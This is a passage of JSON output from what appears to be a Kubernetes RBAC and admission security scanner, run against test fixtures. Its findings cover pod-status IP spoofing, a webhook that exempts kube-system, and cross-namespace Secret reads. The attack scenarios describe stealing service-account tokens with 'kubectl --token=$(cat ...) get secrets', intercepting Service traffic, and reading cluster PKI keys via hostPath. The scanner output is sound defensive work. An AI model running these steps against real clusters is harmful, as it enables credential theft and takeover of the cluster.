        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT:ServiceAccount/statusspoof-fixtures/statusspoof-writer:traffic_intercept",
    "rule_id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT",
    "severity": "MEDIUM",
    "score": 6.8999999999999995,
    "category": "lateral_movement",
    "title": "`ServiceAccount/statusspoof-fixtures/statusspoof-writer` can **intercept in-cluster Service traffic** in 1 hop(s)",
    "description": "Subject `ServiceAccount/statusspoof-fixtures/statusspoof-writer` has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's `podIP`, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/statusspoof-fixtures/statusspoof-writer` → `/` via `pod_status_ip_spoof` (patch pods/status): can rewrite the pod IP in the status of pods selected by Service statusspoof-fixtures/statusspoof-api, redirecting that Service's traffic to an address it chooses until the kubelet corrects the status\n\nWhat this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: `hard` when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, `moderate` when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "statusspoof-writer",
      "namespace": "statusspoof-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/statusspoof-fixtures/statusspoof-writer` → `Service traffic interception`"
    },
    "impact": "Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/statusspoof-fixtures/statusspoof-writer`.",
      "Acting as `ServiceAccount/statusspoof-fixtures/statusspoof-writer`, the attacker writes the `pods/status` subresource (`patch pods/status`) of a pod that a Service selects, replacing its `podIP` with an address they control. The API server's status validator checks only that the address is well-formed, and NodeRestriction constrains node callers only. The EndpointSlice controller republishes the new address and kube-proxy re-points the Service within a second, so the Service's clients, bearer tokens included, now talk to the attacker. The pod's kubelet rewrites the status on its next sync (about 10 seconds), so the attacker keeps re-writing it, unless the Service publishes not-ready addresses and the pod has no node, in which case nothing corrects it.",
      "Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in `Authorization` headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_status_ip_spoof [patch pods/status]"
      ],
      "first_action": "pod_status_ip_spoof",
      "hop_count": 1,
      "target": "traffic_intercept",
      "target_namespace": "",
      "techniques": [
        "pod_status_ip_spoof"
      ]
    },
    "remediation": "Remove write access to `pods/status` (and to `endpointslices`, `endpoints`, and `services`) from identities that are not the kubelet or a core controller, then break the chain at: remove the permission `patch pods/status` that enables the first hop (`ServiceAccount/statusspoof-fixtures/statusspoof-writer` → `/`).",
    "remediation_steps": [
      "Break the chain at: remove the permission `patch pods/status` that enables the first hop (`ServiceAccount/statusspoof-fixtures/statusspoof-writer` → `/`).",
      "Audit who can write pod status: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and a handful of `system:controller:*` roles, nothing bound to a workload.",
      "Alert on `pods/status` writes from identities that are not `system:node:*`: the audit event's `user.username` and `objectRef.subresource` fields identify them directly.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.",
      "Avoid `publishNotReadyAddresses: true` on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — EndpointSlices (how Service backends are derived from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_status_ip_spoof",
        "technique": "KUBE-PRIVESC-036",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "statusspoof-writer",
          "namespace": "statusspoof-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "patch pods/status",
        "gains": "can rewrite the pod IP in the status of pods selected by Service statusspoof-fixtures/statusspoof-api, redirecting that Service's traffic to an address it chooses until the kubelet corrects the status",
        "source_binding": "statusspoof-status-writer",
        "source_role": "statusspoof-status-writer",
        "binding_namespace": "statusspoof-fixtures"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:traffic_intercept"
    ]
  },
  {
    "id": "KUBE-PRIVESC-036:ServiceAccount/statusspoof-fixtures/statusspoof-writer:statusspoof-fixtures:pods/status",
    "rule_id": "KUBE-PRIVESC-036",
    "severity": "MEDIUM",
    "score": 6.5,
    "category": "lateral_movement",
    "title": "Namespace `statusspoof-fixtures` only `update`/`patch` on `pods/status` lets `ServiceAccount/statusspoof-fixtures/statusspoof-writer` redirect Service traffic",
    "description": "Subject ServiceAccount/statusspoof-fixtures/statusspoof-writer can `update`/`patch` the `pods/status` subresource via RoleBinding `statusspoof-fixtures/statusspoof-status-writer` → Role `statusspoof-fixtures/statusspoof-status-writer`. Namespace `statusspoof-fixtures` only.\n\n`pods/status` is the kubelet's write: it is where a pod's `podIPs` are reported, and the EndpointSlice controller derives every Service's backends from that field. The API server's status validator checks only that each address is well-formed, and the NodeRestriction admission plugin constrains node callers only, so a non-node holder of this verb can set any pod's IP to any address. The Services that select the pod follow within a second, through the EndpointSlice and kube-proxy's rules, and their clients, bearer tokens included, connect to the new address. The pod's own kubelet writes the real IP back on its next status sync (about 10 seconds), so the position has to be re-asserted, except for a pod that has no node: nothing corrects its status, and a Service with `publishNotReadyAddresses: true` publishes it as a ready backend indefinitely.\n\nOutside the kubelet, the verb belongs to a short list of core controllers (the scheduler, the node and disruption controllers, garbage collection). An application identity holding it is a traffic-interception primitive against every Service in its scope, and against an admission webhook or aggregated API backend it is admission bypass or API-server credential capture.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "statusspoof-writer",
      "namespace": "statusspoof-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "statusspoof-status-writer",
      "namespace": "statusspoof-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "statusspoof-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `statusspoof-fixtures` only"
    },
    "impact": "Redirect the traffic of any Service in Namespace `statusspoof-fixtures` only that selects a pod the subject can write, capturing or altering what its clients send. The privesc graph joins this grant with the Services whose selectors match a live pod in scope and reports the result as a path to the traffic_intercept sink.",
    "attack_scenario": [
      "Attacker confirms the verb with `kubectl auth can-i patch pods/status --as=statusspoof-writer -n statusspoof-fixtures`.",
      "They pick a Service whose clients carry something valuable (an internal API, a webhook backend, a database proxy) and a live pod it selects.",
      "They write that pod's status with a `podIP` of a listener they control. The API server accepts it, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service.",
      "Clients of the Service now connect to the attacker, who reads or alters the requests and forwards them to the real backend. They repeat the write every few seconds to stay ahead of the kubelet's status sync, or pick a Service that publishes not-ready addresses for a pod no kubelet owns."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "statusspoof-fixtures",
      "resource_names": null,
      "resources": [
        "pods/status"
      ],
      "scope": "namespace",
      "source_binding": "statusspoof-status-writer",
      "source_binding_kind": "RoleBinding",
      "source_role": "statusspoof-status-writer",
      "source_role_kind": "Role",
      "verbs": [
        "patch"
      ]
    },
    "remediation": "Remove `update`/`patch` on `pods/status` from every identity that is not the kubelet or a core controller, and alert on status writes from identities that are not `system:node:*`.",
    "remediation_steps": [
      "Drop `update`/`patch` on `pods/status` from ServiceAccount/statusspoof-fixtures/statusspoof-writer. No application needs to write pod status; a controller that does should run as its own ServiceAccount with the verb scoped by `resourceNames` where possible.",
      "Audit who else holds it: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and `system:controller:*` roles only.",
      "Add an audit alert on `pods/status` UPDATE and PATCH events whose `user.username` does not start with `system:node:`.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), require mutual TLS or an mTLS mesh so a redirected backend cannot present the expected identity.",
      "Verify with `kubectl auth can-i patch pods/status --as=statusspoof-writer -n statusspoof-fixtures` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: EndpointSlices (Service backends derive from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes: NodeRestriction admission (constrains node callers only)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      }
    ],
    "frameworks": [
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Service traffic and network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-ADMISSION-003:risky-ignore-webhook:mutate.vulnerable.local",
    "rule_id": "KUBE-ADMISSION-003",
    "severity": "MEDIUM",
    "score": 6.4,
    "category": "infrastructure_modification",
    "title": "MutatingWebhookConfiguration `risky-ignore-webhook/mutate.vulnerable.local` exempts sensitive system namespaces via `namespaceSelector`",
    "description": "Webhook `mutate.vulnerable.local` in `MutatingWebhookConfiguration/risky-ignore-webhook` has a `namespaceSelector` that uses `NotIn` or `DoesNotExist` to exempt `kube-system` (or another `*-system` namespace) from admission control. The exemption is sometimes a deliberate cold-start workaround (the webhook backend itself runs in `kube-system` and would deadlock if the webhook applied to it), but it routinely outlives the cold-start need and is rarely revisited.\n\nSensitive namespaces are exactly where admission control matters most. `kube-system` hosts coredns, kube-proxy, the cloud-controller-manager, CNI agents, the metrics-server, and most clusters' add-on operators: workloads that already run with high privilege. An attacker who can create resources in `kube-system` (e.g., via a stolen `system:` ServiceAccount token, an over-permissive `roles/clusterroles` create rule, or a privileged operator) finds the admission webhooks deliberately turned off for them.\n\nThis is also a defense-in-depth gap: even if a future privesc finding (`KUBE-PRIVESC-*`) is mitigated, the namespace-selector exemption keeps the door open. The right pattern is to scope the exemption to the *single* control-plane namespace the backend itself needs (and only at boot), not to every `-system` namespace by suffix.",
    "resource": {
      "kind": "MutatingWebhookConfiguration",
      "name": "risky-ignore-webhook",
      "api_group": "admissionregistration.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "MutatingWebhookConfiguration `risky-ignore-webhook` (webhook entry `mutate.vulnerable.local`): applies to admission across the entire cluster"
    },
    "impact": "An attacker who can create pods or other resources in the exempted system namespace bypasses every check this webhook implements: root containers, hostPath mounts, and arbitrary images all admit silently.",
    "attack_scenario": [
      "Attacker compromises a workload with `create pods` permission scoped to `kube-system` (typical of operators, addon managers, or stolen control-plane tokens).",
      "They submit a pod manifest with `hostPath: /`, `runAsUser: 0`, and `securityContext.privileged: true`.",
      "The API server evaluates `mutate.vulnerable.local`'s `namespaceSelector`, sees the exemption for `kube-system`, and admits the pod without invoking the webhook.",
      "The pod schedules on a control-plane-adjacent node, mounts the host root filesystem, and reads `/etc/kubernetes/pki/*` (etcd CA, apiserver cert, kubelet client cert).",
      "With those keys the attacker forges admin credentials and assumes full cluster control."
    ],
    "evidence": {
      "excluded_namespace": "kube-system",
      "expr_index": 0,
      "namespaceSelector": {
        "matchExpressions": [
          {
            "key": "kubernetes.io/metadata.name",
            "operator": "NotIn",
            "values": [
              "kube-system"
            ]
          }
        ]
      },
      "value_index": 0,
      "webhook_index": 0,
      "webhook_name": "mutate.vulnerable.local"
    },
    "remediation": "Narrow `mutate.vulnerable.local.namespaceSelector` to the exact namespace the webhook backend needs to skip during cold start, or remove the exemption entirely once the backend is bootstrapped.",
    "remediation_steps": [
      "Check why `mutate.vulnerable.local` excludes the namespace. Is it a cold-start workaround or a permanent carve-out?",
      "If cold-start: scope the exemption to the *exact* namespace the webhook backend runs in (e.g., `kubernetes.io/metadata.name NotIn [policy-system]`), not every `*-system`.",
      "If permanent carve-out: replace it with the in-tree Pod Security Admission level for that namespace so privileged pods still face *some* check.",
      "Validate by dry-running a privileged pod manifest in the previously-exempted namespace; the webhook should now process the request.",
      "Wire a Kyverno or OPA Gatekeeper rule that fails any future webhook configuration that exempts `kube-system` or a `*-system` namespace without a documented justification annotation."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://open-policy-agent.github.io/gatekeeper/website/docs/operations"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Dynamic Admission Control",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Kubernetes — Pod Security Admission (in-tree, non-bypassable)",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "OPA Gatekeeper — Production best practices",
        "url": "https://open-policy-agent.github.io/gatekeeper/website/docs/operations"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1562",
        "name": "Impair Defenses",
        "url": "https://attack.mitre.org/techniques/T1562/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1578",
        "name": "Modify Cloud Compute Infrastructure",
        "url": "https://attack.mitre.org/techniques/T1578/"
      }
    ],
    "frameworks": [
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Admission controllers",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:admission",
      "check:namespaceSelector"
    ]
  },
  {
    "id": "KUBE-SECRETS-CROSSNS-001:ServiceAccount/foothold-exec/foothold-decoy-sa:*",
    "rule_id": "KUBE-SECRETS-CROSSNS-001",
    "severity": "MEDIUM",
    "score": 6.4,
    "category": "lateral_movement",
    "title": "ServiceAccount `foothold-exec/foothold-decoy-sa` can read Secrets in namespace `(cluster-wide)` (used by workloads in `foothold-exec`)",
    "description": "ServiceAccount `foothold-exec/foothold-decoy-sa` is mounted by workload(s) `Pod/foothold-decoy` and has RBAC permission to `get`/`list`/`watch` Secrets in namespace `(cluster-wide)`, granted by `foothold-decoy-admin` (referencing `cluster-admin`). Namespace `foothold-exec` is the namespace the SA *lives in*; namespace `(cluster-wide)` is *different*. The grant therefore lets a compromised pod in `foothold-exec` enumerate or read every Secret in `(cluster-wide)` via the projected SA token, without leaving the namespace it runs in.\n\nThis pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just `kubectl get secret -n \u003cother-namespace\u003e` with the projected token.\n\nThree patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. `secret-reader`) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting `resourceNames`, or moving the consumer into the target namespace.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `foothold-exec/foothold-decoy-sa` mounted in `foothold-exec`: holds `get`/`list`/`watch` on `secrets` in `(cluster-wide)` via `foothold-decoy-admin`/`cluster-admin`. A pod-to-API-server compromise reads every Secret in the target namespace."
    },
    "impact": "Anyone who compromises a pod running as `foothold-exec/foothold-decoy-sa` can read every Secret in `(cluster-wide)` over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in `(cluster-wide)` becomes a single `kubectl get secret` away.",
    "attack_scenario": [
      "Attacker gains code execution inside a pod running as `foothold-exec/foothold-decoy-sa` (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).",
      "They read the projected SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "They run `kubectl --token=$(cat ...) get secrets -n (cluster-wide)` against the in-cluster API server. RBAC permits it because `foothold-decoy-admin/cluster-admin` was granted across the namespace boundary.",
      "They harvest every Secret in `(cluster-wide)`: TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.",
      "They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original `foothold-exec/foothold-decoy-sa` pod is now optional; the cluster's secrets are exfiltrated."
    ],
    "evidence": {
      "source_binding": "foothold-decoy-admin",
      "source_role": "cluster-admin",
      "target_namespace": "",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Replace the cross-namespace grant with the narrowest possible scope: a Role in `(cluster-wide)` (not a ClusterRole), `resourceNames` for the specific Secrets the workload needs, or move the consumer into `(cluster-wide)`.",
    "remediation_steps": [
      "Identify what the pod *actually* reads. `kubectl logs` and audit logs for `objectRef.resource=secrets` will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.",
      "Replace the grant. Prefer (in order): (a) move the workload into `(cluster-wide)` so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in `(cluster-wide)` that points to a Role, (c) restrict the Role to `resourceNames: [foo, bar]` for the specific Secrets needed.",
      "For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.",
      "Audit the binding. `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == \"foothold-decoy-sa\" and .subjects[]?.namespace == \"foothold-exec\")'` shows everything that grants this SA cross-namespace read.",
      "Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants `secrets:get` without a `resourceNames` constraint."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://kubernetes.io/docs/concepts/configuration/secret/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: RBAC authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "Kubernetes — Secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1552.001",
        "name": "Credentials In Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:crossNamespaceSecretRead"
    ]
  },
  {
    "id": "KUBE-SECRETS-CROSSNS-001:ServiceAccount/foothold-exec/foothold-reader:kube-system",
    "rule_id": "KUBE-SECRETS-CROSSNS-001",
    "severity": "MEDIUM",
    "score": 6.4,
    "category": "lateral_movement",
    "title": "ServiceAccount `foothold-exec/foothold-reader` can read Secrets in namespace `kube-system` (used by workloads in `foothold-exec`)",
    "description": "ServiceAccount `foothold-exec/foothold-reader` is mounted by workload(s) `Pod/foothold-target` and has RBAC permission to `get`/`list`/`watch` Secrets in namespace `kube-system`, granted by `foothold-reader-secrets` (referencing `foothold-reader-secrets`). Namespace `foothold-exec` is the namespace the SA *lives in*; namespace `kube-system` is *different*. The grant therefore lets a compromised pod in `foothold-exec` enumerate or read every Secret in `kube-system` via the projected SA token, without leaving the namespace it runs in.\n\nThis pattern is the most common lateral-movement primitive in production K8s clusters because the namespace boundary is the platform's primary isolation surface. Network policies, PSA labels, ResourceQuotas, image-pull credentials, and audit groupings all key on namespace. An RBAC grant that punches through the boundary collapses that isolation for the secret-read axis: the attacker doesn't need a network path, doesn't need a pod-create, doesn't need to escape to the node, they just `kubectl get secret -n \u003cother-namespace\u003e` with the projected token.\n\nThree patterns produce this finding in real clusters: (1) a shared ClusterRole (e.g. `secret-reader`) bound to a workload SA via a ClusterRoleBinding, granting it cluster-wide read; (2) a multi-tenant operator (Vault sync, External Secrets Operator, cert-manager) deliberately granted cross-namespace read but with a wider scope than the operator actually needs; (3) a copy-pasted Helm chart's ClusterRole that was meant to be a Role. Each is fixable by replacing the grant with namespace-scoped Roles, restricting `resourceNames`, or moving the consumer into the target namespace.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-reader",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "foothold-reader",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `foothold-exec/foothold-reader` mounted in `foothold-exec`: holds `get`/`list`/`watch` on `secrets` in `kube-system` via `foothold-reader-secrets`/`foothold-reader-secrets`. A pod-to-API-server compromise reads every Secret in the target namespace."
    },
    "impact": "Anyone who compromises a pod running as `foothold-exec/foothold-reader` can read every Secret in `kube-system` over the projected SA token, without needing a network egress, host escape, or RBAC modification. Lateral movement to the credentials of every workload in `kube-system` becomes a single `kubectl get secret` away.",
    "attack_scenario": [
      "Attacker gains code execution inside a pod running as `foothold-exec/foothold-reader` (RCE on the application, dependency confusion, supply chain compromise of a base image, etc.).",
      "They read the projected SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "They run `kubectl --token=$(cat ...) get secrets -n kube-system` against the in-cluster API server. RBAC permits it because `foothold-reader-secrets/foothold-reader-secrets` was granted across the namespace boundary.",
      "They harvest every Secret in `kube-system`: TLS keys, OAuth client secrets, database passwords, registry pull credentials, ServiceAccount tokens, cloud provider IAM keys.",
      "They use the harvested credentials laterally: pivot to the cloud account, push a malicious image to the registry, authenticate as another workload's SA, sign their own short-lived tokens via TokenRequest, etc. The original `foothold-exec/foothold-reader` pod is now optional; the cluster's secrets are exfiltrated."
    ],
    "evidence": {
      "source_binding": "foothold-reader-secrets",
      "source_role": "foothold-reader-secrets",
      "target_namespace": "kube-system",
      "verbs": [
        "get",
        "list"
      ]
    },
    "remediation": "Replace the cross-namespace grant with the narrowest possible scope: a Role in `kube-system` (not a ClusterRole), `resourceNames` for the specific Secrets the workload needs, or move the consumer into `kube-system`.",
    "remediation_steps": [
      "Identify what the pod *actually* reads. `kubectl logs` and audit logs for `objectRef.resource=secrets` will show the specific Secret names. Most cross-namespace grants are over-broad: the workload only needs 1-2 Secrets, not the whole namespace.",
      "Replace the grant. Prefer (in order): (a) move the workload into `kube-system` so the grant becomes intra-namespace, (b) replace the ClusterRoleBinding with a RoleBinding in `kube-system` that points to a Role, (c) restrict the Role to `resourceNames: [foo, bar]` for the specific Secrets needed.",
      "For multi-tenant operators (External Secrets Operator, Vault sync, cert-manager), use the operator's per-namespace SecretStore / ClusterSecretStore selector mechanism instead of granting cluster-wide RBAC. The operator's docs document the right scoping.",
      "Audit the binding. `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name == \"foothold-reader\" and .subjects[]?.namespace == \"foothold-exec\")'` shows everything that grants this SA cross-namespace read.",
      "Wire enforcement: a Kyverno or Gatekeeper ClusterPolicy that warns/blocks any RoleBinding that points a non-system ClusterRole at a workload SA, or any ClusterRole that grants `secrets:get` without a `resourceNames` constraint."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/",
      "https://kubernetes.io/docs/concepts/configuration/secret/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: RBAC authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
      },
      {
        "title": "Kubernetes — Secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1552.001",
        "name": "Credentials In Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
